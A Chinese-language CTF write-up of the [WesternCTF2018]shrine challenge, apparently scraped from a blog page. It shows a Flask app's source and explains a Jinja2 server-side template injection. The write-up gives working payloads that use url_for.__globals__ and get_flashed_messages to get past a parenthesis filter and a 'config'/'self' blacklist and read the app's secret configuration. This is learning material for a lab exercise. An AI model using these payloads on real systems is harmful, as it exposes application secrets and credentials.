当前位置: 首页 > news >正文

[WesternCTF2018]shrine

题目在线https://buuoj.cn/challenges#[WesternCTF2018]shrine启动靶机,页面显示代码,抓包查看一下正常格式的代码显示

import flask
import osapp = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)

代码得知:flag在环境变量中,可能存在SSIT(服务器模板注入漏洞)并且引擎是 Jinja2,而且告知了路径  /shrine/<path:shrine>  ,有黑名单  和 过滤括号()操作

如此我们可以简单验证 漏洞是否存在   

输入 /shrine/{{7*7}}    返回49,说明ssit漏洞存在

由于过滤了括号(),无法使用系统命令;黑名单过滤了config、self,无法用它们读取配置和内置对象。可使用如下payload:

{{url_for.__globals__.current_app.config}}

{{url_for.__globals__.current_app.config.FLAG}}

{{url_for.__globals__.current_app['config']['FLAG']}}

#中括号" [] "可以代替 " . "

{{url_for['__globals__']['current_app']['config']}}

{{url_for['__globals__']['current_app']['config']['FLAG']}}

# get_flashed_messages   可以代替  url_for

获得flag

---------------------

注意:

源代码中   app.config['FLAG'] = os.environ.pop('FLAG')

这题不能直接使用{{url_for.__globals__['os'].environ}}读取环境变量中的FLAG,是因为 pop() 方法。

该代码意为:当读取到环境变量中的FLAG值的同时会删除环境变量中的FLAG,然后存入 app.config['FLAG'] 中

http://www.dtcms.com/a/389199.html

相关文章:

  • 硬件 - RK3588部分(2) - 原理图 - 最小系统
  • Android进阶之路 - 从 URL Scheme 到 Deep Link 与 App Link
  • MySQL监控Shell脚本实战指南
  • 【Android】Jetpack Media3 如何播放音频文件 实现视频播放器
  • Android 开发 集成 uni 小程序,并实现相互通信
  • 【office】怎么设置第一章二级标题为1.1 1.2 1.3然后第二章为2.1 2.2 2.3这样子
  • JVM的垃圾回收机制(一次完整的GC流程)
  • 拥抱新一代 Web 3D 引擎,Three.js 项目快速升级 Galacean 指南
  • Linux 内核裁剪与功能扩展实验报告
  • Qt QVCandlestickModelMapper详解
  • LeetCode:20.旋转图像
  • 网络协议深度解析:从OSI七层模型到现代互联网通信的技术实战
  • 慈明学校以孝治家阳光家庭教育中心 学以致用践行以孝治家幸福万家
  • 开心实习之 深度学习之多层感知机
  • 前端构造数据格式及表格添加行
  • 深度学习-神经网络(上篇)
  • 【脑电分析系列】第18篇:传统机器学习在EEG中的应用 — SVM、LDA、随机森林等分类器
  • 理解长短期记忆神经网络(LSTM)
  • Kurt-Blender零基础教程:第2章:建模篇——第1节:点线面的选择与控制与十大建模操作
  • 鸿蒙5.0应用开发——V2装饰器@Monitor的使用
  • 八、Java-XML
  • 计算机在医疗领域应用的独特技术问题分析
  • HTB Intentions writeup(SQL二次注入也是注入)
  • 第一章 预训练:让模型“博闻强识”
  • 【数组】求两个匀速运动质点的相交或最小距离
  • 新手向:Python爬虫原理详解,从零开始的网络数据采集指南
  • OKZOO进军HealthFi:承接AIoT,引领Health-to-Earn
  • Halcon 相机标定
  • 腾讯混元发布集成翻译模型Hunyuan-MT-Chimera-7B,已开放体验
  • mybatis-plus扩展